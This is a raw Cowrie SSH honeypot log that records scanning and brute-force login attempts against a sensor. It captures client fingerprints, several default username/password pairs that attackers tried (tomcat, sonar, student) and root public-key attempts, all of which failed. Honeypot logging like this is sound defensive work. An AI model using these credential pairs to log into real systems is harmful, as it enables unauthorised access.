{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:25:48.203027Z","src_ip":"8.218.166.49","session":"5b6aa0c9a516","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat","message":"login attempt [tomcat/tomcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:26:17.348082Z","src_ip":"8.218.166.49","session":"1250553c7741","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:26:19.739604Z","src_ip":"8.218.166.49","session":"5b6aa0c9a516","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"70.2","message":"Connection lost after 70.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:26:43.967673Z","src_ip":"8.218.166.49","session":"1250553c7741","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"77.4","message":"Connection lost after 77.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:26:45.309429Z","src_ip":"8.218.166.49","session":"5b6aa0c9a516","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":44482,"dst_ip":"10.17.0.5","dst_port":22,"session":"26aaa78003a2","protocol":"ssh","message":"New connection: 8.218.166.49:44482 (10.17.0.5:22) [session: 26aaa78003a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:27:37.515364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:27:48.032164Z","src_ip":"8.218.166.49","session":"26aaa78003a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:27:48.038231Z","src_ip":"8.218.166.49","session":"26aaa78003a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.59.16.40","src_port":35492,"dst_ip":"10.17.0.5","dst_port":22,"session":"cffb1cefb20b","protocol":"ssh","message":"New connection: 216.59.16.40:35492 (10.17.0.5:22) [session: cffb1cefb20b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:27:52.227858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:27:52.232661Z","src_ip":"216.59.16.40","session":"cffb1cefb20b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:27:52.255583Z","src_ip":"216.59.16.40","session":"cffb1cefb20b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:5a:65:df:7f:14:40:db:77:d8:48:aa:8d:cd:1d:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCym3Toab9NZSkE8lLCvAnVbiVMsGRSR3G4pwFEnKBNSEVdiMX2AcPyj/KXbqyg6nlgDqukhfumxadrL5XMMVUZ5+K++daJXCI6mQciCeV+vfCsmxX5EcdFborFn1xNnxrYh6CgaeO9VV+WC96xKBOVFrox7uBE/1Pm5jN/qBci08JmN2TYypB9WvENWGTQ7NCBljPTV1xOPDbIdPNTN//YJq8MFEmDzYMGMEsGEz6wMc1KPAYBd6upXMuqQFfwZyLFLRGb5fUBHgUrU1mpIRYYNXLhJrDeRDkNIkFRyLaUmgMWcKIQVb7O8Nwj3PB8dxIiQ7TNTPbnSZjO+mFeQLUx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ee:5a:65:df:7f:14:40:db:77:d8:48:aa:8d:cd:1d:eb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:27:52.349048Z","src_ip":"216.59.16.40","session":"cffb1cefb20b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:5a:65:df:7f:14:40:db:77:d8:48:aa:8d:cd:1d:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCym3Toab9NZSkE8lLCvAnVbiVMsGRSR3G4pwFEnKBNSEVdiMX2AcPyj/KXbqyg6nlgDqukhfumxadrL5XMMVUZ5+K++daJXCI6mQciCeV+vfCsmxX5EcdFborFn1xNnxrYh6CgaeO9VV+WC96xKBOVFrox7uBE/1Pm5jN/qBci08JmN2TYypB9WvENWGTQ7NCBljPTV1xOPDbIdPNTN//YJq8MFEmDzYMGMEsGEz6wMc1KPAYBd6upXMuqQFfwZyLFLRGb5fUBHgUrU1mpIRYYNXLhJrDeRDkNIkFRyLaUmgMWcKIQVb7O8Nwj3PB8dxIiQ7TNTPbnSZjO+mFeQLUx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:27:52.352924Z","src_ip":"216.59.16.40","session":"cffb1cefb20b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"82:39:64:0d:45:d5:54:4b:98:38:a8:4f:c6:a3:87:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0MaWPEk3MXjdaTKNsdIuy92ZGQf8dFVXcQAhoxJMg9OrDr9ysf60g2o/2fMpEtVOJL7nof9D4IWw56QV7pIJ66L5VqbOTLsWA50RVQO7STkuZHPsvwdzYiY0NYbUtZOTjFDg9yZjQscBpz0RcLmdAzSHg8tK4LW7BksqJ1cy3Bu5gYRYt4FzukTS43Gy+AfGVjKjaQVCNkiF9Jy1RJ8+G/48U6B3JNVWXyAwN9gtPJ47UgdodiiKy6AbemUyoudXxfKc/5iWUzaHG9VTOMMqR3szj/Bos6G8rFWBM2nNgPQFu5pgc9IOXaqUyrqyEySxWxVBYwZikxU+UcQ7wTqe9Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 82:39:64:0d:45:d5:54:4b:98:38:a8:4f:c6:a3:87:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:27:52.375740Z","src_ip":"216.59.16.40","session":"cffb1cefb20b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"82:39:64:0d:45:d5:54:4b:98:38:a8:4f:c6:a3:87:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0MaWPEk3MXjdaTKNsdIuy92ZGQf8dFVXcQAhoxJMg9OrDr9ysf60g2o/2fMpEtVOJL7nof9D4IWw56QV7pIJ66L5VqbOTLsWA50RVQO7STkuZHPsvwdzYiY0NYbUtZOTjFDg9yZjQscBpz0RcLmdAzSHg8tK4LW7BksqJ1cy3Bu5gYRYt4FzukTS43Gy+AfGVjKjaQVCNkiF9Jy1RJ8+G/48U6B3JNVWXyAwN9gtPJ47UgdodiiKy6AbemUyoudXxfKc/5iWUzaHG9VTOMMqR3szj/Bos6G8rFWBM2nNgPQFu5pgc9IOXaqUyrqyEySxWxVBYwZikxU+UcQ7wTqe9Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:27:52.378987Z","src_ip":"216.59.16.40","session":"cffb1cefb20b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:ed:bd:e3:1c:7e:7d:23:fa:bc:0a:f3:46:2f:57:7b","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANr4o0NslO8Q5X6WbgpBoqf7A3Q1NpVg65jKqf1BHBNSUnY0THUfNMwOu6zc7ZyBLpavP3TlVLqM/r5jcYhU4Lj3oNpUQYDSRG5MPx6gkeZ4EiRvVhvrV7V5Fy0fdBE4jPrjS/KSjXqRXltLp+qMIeJDyHiFEGOCHQNoYIdDTNBJAAAAFQC44t/qqtwSuqiw2yZZ3HBEGvkmJwAAAIAyW0FQvw3XY0EXcsipmB/uKyrciOq43JEp0X61L3MVWeMV/mvHrut07X4hYubpHINfVLguddSFKvfVRBOvZZ2BND2/gUXqc5ZfET2hfi4SzdbkcMS1kdoDePZdqi2ppN+2iVVVgHuGh0PvPeW/IP+K4/B6NGDf4/QlNN2qv8AcZwAAAIAc6gqT+SyHLiDADfp/ZndqPPBWTI3Ca/rDuEKq2BTxNHXtGdKgaWwatVTz1qYjqvxdrVmCP++PoFwYASWyDxmiNq5Pz7DYH091p2wow2G9laba0FIN1KVvPMDh11YdmQ3sZgZxStPd8iS/AQi3A2dMK4nXdh9Tl7QF/eyURBHgVg==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint d4:ed:bd:e3:1c:7e:7d:23:fa:bc:0a:f3:46:2f:57:7b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:27:52.402802Z","src_ip":"216.59.16.40","session":"cffb1cefb20b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:ed:bd:e3:1c:7e:7d:23:fa:bc:0a:f3:46:2f:57:7b","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANr4o0NslO8Q5X6WbgpBoqf7A3Q1NpVg65jKqf1BHBNSUnY0THUfNMwOu6zc7ZyBLpavP3TlVLqM/r5jcYhU4Lj3oNpUQYDSRG5MPx6gkeZ4EiRvVhvrV7V5Fy0fdBE4jPrjS/KSjXqRXltLp+qMIeJDyHiFEGOCHQNoYIdDTNBJAAAAFQC44t/qqtwSuqiw2yZZ3HBEGvkmJwAAAIAyW0FQvw3XY0EXcsipmB/uKyrciOq43JEp0X61L3MVWeMV/mvHrut07X4hYubpHINfVLguddSFKvfVRBOvZZ2BND2/gUXqc5ZfET2hfi4SzdbkcMS1kdoDePZdqi2ppN+2iVVVgHuGh0PvPeW/IP+K4/B6NGDf4/QlNN2qv8AcZwAAAIAc6gqT+SyHLiDADfp/ZndqPPBWTI3Ca/rDuEKq2BTxNHXtGdKgaWwatVTz1qYjqvxdrVmCP++PoFwYASWyDxmiNq5Pz7DYH091p2wow2G9laba0FIN1KVvPMDh11YdmQ3sZgZxStPd8iS/AQi3A2dMK4nXdh9Tl7QF/eyURBHgVg==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:27:52.405839Z","src_ip":"216.59.16.40","session":"cffb1cefb20b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c9:2a:e0:39:1c:e9:b1:49:5e:09:14:0b:a8:0f:73:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6FTH3ol8GCvHlG7hQogsAKFtk+xCSQg3+zVzQlTyvGBL3p67chNOFMV4AgXFnOdGuR87gpACWJkkd1SrqneOWKFP30hX5GTWjcEc1maCqsh6EzK3yl+GkvtIbBkwkfZ31BJn8fg5Ow5zQlP4lSR7W0PmNlpZKSEOuriq+pziJkpsVkG1csbCFNVYDrXczco/u8pXjbTU17s/cUfSD5rRo1ODS766QEnBA9vxxQVgqxMR+8+rzzf0rUo2A7PL/RjnHN9osZS6iy6F4xYDeRmEPuJyGQoQnh/qtqrpYqLnTIJii61fgQzYytcIh+BMR9r8WvJ3XIwhZLx/ZFcGSBBw/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c9:2a:e0:39:1c:e9:b1:49:5e:09:14:0b:a8:0f:73:e1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:27:52.430025Z","src_ip":"216.59.16.40","session":"cffb1cefb20b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c9:2a:e0:39:1c:e9:b1:49:5e:09:14:0b:a8:0f:73:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6FTH3ol8GCvHlG7hQogsAKFtk+xCSQg3+zVzQlTyvGBL3p67chNOFMV4AgXFnOdGuR87gpACWJkkd1SrqneOWKFP30hX5GTWjcEc1maCqsh6EzK3yl+GkvtIbBkwkfZ31BJn8fg5Ow5zQlP4lSR7W0PmNlpZKSEOuriq+pziJkpsVkG1csbCFNVYDrXczco/u8pXjbTU17s/cUfSD5rRo1ODS766QEnBA9vxxQVgqxMR+8+rzzf0rUo2A7PL/RjnHN9osZS6iy6F4xYDeRmEPuJyGQoQnh/qtqrpYqLnTIJii61fgQzYytcIh+BMR9r8WvJ3XIwhZLx/ZFcGSBBw/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:27:52.433128Z","src_ip":"216.59.16.40","session":"cffb1cefb20b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5b:04:1e:fd:c9:7e:ef:28:e2:18:9b:3c:0f:1a:39:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDilaZmDvOWvdTZnN2v+PIIcYk6Dd6e9AHPTps13opN9X+ddrEq0Es6CSrefa/iZ/pqBb/iXBGwEldckFoS06ShuiI6d3grINcg1iF3ViiqhnOGpCbQYaRfxfk5D4GEMTrYLES2JYTezth47D/2dLncSJUgnByjT8hNSlpUnrizTskx4cjuFS2APoevola+pdiSe7UktvJLOswb+SdauIDjA5gZWPmfUNAhPLE79bqCtzdsqf+bbD7TPqHqzldPhB3dLM296QZaIymLiXi1lgMcoXt5hQPa5ePyxFTrAnvGE9O3eu/m7xMfpsSXBw8ILZLZ3/tcvbyG7lui9Tt0/R5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5b:04:1e:fd:c9:7e:ef:28:e2:18:9b:3c:0f:1a:39:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:27:52.457126Z","src_ip":"216.59.16.40","session":"cffb1cefb20b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5b:04:1e:fd:c9:7e:ef:28:e2:18:9b:3c:0f:1a:39:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDilaZmDvOWvdTZnN2v+PIIcYk6Dd6e9AHPTps13opN9X+ddrEq0Es6CSrefa/iZ/pqBb/iXBGwEldckFoS06ShuiI6d3grINcg1iF3ViiqhnOGpCbQYaRfxfk5D4GEMTrYLES2JYTezth47D/2dLncSJUgnByjT8hNSlpUnrizTskx4cjuFS2APoevola+pdiSe7UktvJLOswb+SdauIDjA5gZWPmfUNAhPLE79bqCtzdsqf+bbD7TPqHqzldPhB3dLM296QZaIymLiXi1lgMcoXt5hQPa5ePyxFTrAnvGE9O3eu/m7xMfpsSXBw8ILZLZ3/tcvbyG7lui9Tt0/R5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:27:52.460850Z","src_ip":"216.59.16.40","session":"cffb1cefb20b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:27:52.484702Z","src_ip":"216.59.16.40","session":"cffb1cefb20b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:27:55.594137Z","src_ip":"8.218.166.49","session":"26aaa78003a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.243.51","src_port":47626,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fc03ae52180","protocol":"ssh","message":"New connection: 208.87.243.51:47626 (10.17.0.5:22) [session: 3fc03ae52180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:27:57.195895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:27:57.200637Z","src_ip":"208.87.243.51","session":"3fc03ae52180","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:27:57.511176Z","src_ip":"208.87.243.51","session":"3fc03ae52180","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"13:fc:c9:5a:ef:83:d6:ff:64:25:f7:67:f0:ab:d9:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvzL0W+ixtkAPYHZYbUVy6To8g6Ef/ydaJxg/w4ujGTyEj/hu8w1arhwx4GBXodpRDS8CltelCvuBshZFARBXe2SBC1+AOeXjdyYRJWCzy6dWjS7avYKisj8M4IUZFUOKCex1kdl8dGHzkTNbsKiDhI4k4mLhi1nIMXgn3gNj6gTYyt5/KQYtzunuJLdWixmZavWxXvNcOkzNsn16XJLVIHqylXg9lXvX0wUe/nwaRQ8LCzVFilmTWlXpemEZu2Z9cPMKl34VXx0oaJKJH9EL25v4Lq9dYaO/C3/m3gIhPiDuh5SKQFGh3K8xzYtjQuXvHYhneKF8emkUdwS5/Rhan","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 13:fc:c9:5a:ef:83:d6:ff:64:25:f7:67:f0:ab:d9:e6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:27:58.985067Z","src_ip":"208.87.243.51","session":"3fc03ae52180","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"13:fc:c9:5a:ef:83:d6:ff:64:25:f7:67:f0:ab:d9:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvzL0W+ixtkAPYHZYbUVy6To8g6Ef/ydaJxg/w4ujGTyEj/hu8w1arhwx4GBXodpRDS8CltelCvuBshZFARBXe2SBC1+AOeXjdyYRJWCzy6dWjS7avYKisj8M4IUZFUOKCex1kdl8dGHzkTNbsKiDhI4k4mLhi1nIMXgn3gNj6gTYyt5/KQYtzunuJLdWixmZavWxXvNcOkzNsn16XJLVIHqylXg9lXvX0wUe/nwaRQ8LCzVFilmTWlXpemEZu2Z9cPMKl34VXx0oaJKJH9EL25v4Lq9dYaO/C3/m3gIhPiDuh5SKQFGh3K8xzYtjQuXvHYhneKF8emkUdwS5/Rhan","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:27:58.988650Z","src_ip":"208.87.243.51","session":"3fc03ae52180","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"68:f0:0d:da:ad:c5:40:8d:5f:2d:cd:1f:0c:df:34:d1","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHcq4uDF/NXLuY/bDXOo1K0kt9gz6UjJ8BWZd3djWcVX","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 68:f0:0d:da:ad:c5:40:8d:5f:2d:cd:1f:0c:df:34:d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:27:59.296274Z","src_ip":"208.87.243.51","session":"3fc03ae52180","protocol":"ssh"}
